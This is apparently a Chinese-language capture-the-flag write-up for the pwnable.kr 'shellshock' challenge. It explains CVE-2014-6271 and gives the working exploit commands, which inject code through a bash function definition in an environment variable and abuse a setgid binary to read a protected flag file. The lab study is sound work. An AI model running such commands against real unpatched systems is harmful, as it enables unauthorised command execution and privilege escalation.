【Writeup】Pwnable.kr 0x0A shellshock

0x0A shellshock

题目描述

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)


ssh [email protected] -p2222 (pw:guest)

题目代码

#include 
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

题目分析

本题主要考察的是破壳漏洞(shellshock)CVE-2014-6271
所以第一步,查阅CVE-2014-6271的资料,http://blog.csdn.net/tinyletero/article/details/40261593
所以该漏洞的利用方式就是

env x=() { :;}; echo vulnerable

在echo vulnerable处可以执行任意代码,所以就想在那里执行cat flag不久可以读出flag了么,那么运行一下命令

env x='() { :;}; ' bash -c "cat flag"


咦?发现说没有权限执行,那么看一下权限
【Writeup】Pwnable.kr 0x0A shellshock_第1张图片

发现flag是属于用户shellshock_pwn的,bash是属于shellshock的
而我们看一下我们是哪个用户

发现是shellshock用户,所以我们没有权限查看shellshock_pwn用户的文件,那怎么办呢?既然出了这题,就肯定有解决的办法,仔细观察这个权限详情,发现了高亮部分的权限是-r-xr-sr-x,其中用户组有一个s
【Writeup】Pwnable.kr 0x0A shellshock_第2张图片

查阅一下有关uid,sid的知识 http://www.cnblogs.com/snake-hand/p/3161511.html
发现,当我们执行shellshock的时候,权限会会提升到shellshock_pwn,而flag刚好需要shellshock_pwn的权限,所以更改一下命令

env x='() { :;}; bash -c "cat flag" ' ./shellshock

得到flag

你可能感兴趣的:(【Writeup】Pwnable.kr 0x0A shellshock)